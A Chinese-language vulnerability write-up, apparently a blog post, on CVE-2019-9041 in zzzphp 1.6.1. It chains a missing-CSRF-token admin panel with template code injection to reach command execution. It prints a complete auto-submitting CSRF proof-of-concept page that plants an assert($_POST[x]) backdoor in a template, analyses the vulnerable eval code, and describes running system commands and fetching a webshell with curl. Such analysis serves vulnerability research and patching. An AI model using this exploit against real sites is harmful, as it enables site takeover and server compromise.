CVE-2019-9041: 从CSRF到Getshell

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

前言

无意中看到vulnhub新放了一个Csrf大礼包,集合多个最新的csrf to getshell的cve!所以拿这个系统做一个系列关于Csrf的代码审计之路!今天的cms是zzzphp,漏洞并不是特别复杂,算是开个头吧!

正文

审计的zzzphp系统版本为V1.6.1,首先是一个csrf漏洞,这个漏洞原因在于整个后台没有csrf token保护,导致存在csrf漏洞,所以可以伪造客户端请求!再配合CVE-2019-9041即可getshell!

首先我们使用Burp Suite生成一个CSRF POC!

这个不能直接用,修改如下:

<html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>

   <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">

     <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />

     <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;
phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;"
/>


     <input type="submit" value="Submit request" />

   </form>

   <script>

     document.forms[0].submit();

   </script>

 </body>

</html>

其中生效的payload为html编码的{if:assert($_POST[x])}phpinfo();{end if}。我们把这个poc保存为html文件,在管理员登陆的状态下,诱导管理员点击包含poc的链接,即可在search.html模版中插入恶意代码!

1561626413_5d14872d5e991.png!small

接下分析造成动态代码执行的代码!

首先在在/search/index.php中

1561626421_5d148735154a6.png!small

跟进zzz_client.php

在第136行至140行,是对模板解析的代码

1561626428_5d14873c5811b.png!small

我们跟进ParserTemplate()类,发现发现这个类主要作用是解析全局公共标签,经过审计发现危险函数parserIfLabel,parserIfLabel这个函数进行正则匹配,然后把匹配到的语句做替换,最后ifstr的值为a-ssert($_POST[x]最后拼接到eva1$ifstr函数执行,程序本身没有在这里做过滤一些危险的函数,导致任意代码执行。

public
function parserIfLabel( $zcontent ) {
  $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
  if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
     $count = count( $matches[ 0 ] );
     for ( $i = 0; $i < $count; $i++ ) {
        $flag = '';
        $out_html = '';
        $ifstr = $matches[ 1 ][ $i ];
        $ifstr = str_replace( '<>', '!=', $ifstr );
        $ifstr = str_replace( 'mod', '%', $ifstr );
        $ifstr1 = cleft( $ifstr, 0, 1 );
        switch ( $ifstr1 ) {
           case '=':
              $ifstr = '0' . $ifstr;
              break;
           case '{':
           case '[':
              $ifstr = "'" . str_replace( "=", "'=", $ifstr );
              break;
        }
        $ifstr = str_replace( '=', '==', $ifstr );
        $ifstr = str_replace( '===', '==', $ifstr );
        @eva1( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

我们最终只要控制$ifstr,所以借助前面的csrf漏洞我们可以在管理员登陆的状态下,诱导管理员进行编辑模板操作!

利用过程

csrf诱导管理员点击链接

管理员点击后操作为后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑

在模版中添加{if:assert($_POST[x])}xxx;{end if} 保存

访问 http://webroot/search/

代码执行

首先我们尝试执行phpinfo()

1561626475_5d14876b431b1.png!small

使用system()函数执行系统命令

1561626482_5d148772d79ec.png!small

尝试远程写shell,不过权限有问题,所以使用curl -O直接下载一个shell

1561626518_5d148796e5ccc.png!small

蚁剑连接成功!11.png

*本文作者:cck


发表评论 取消回复

电子邮件地址不会被公开。 必填项已用*标注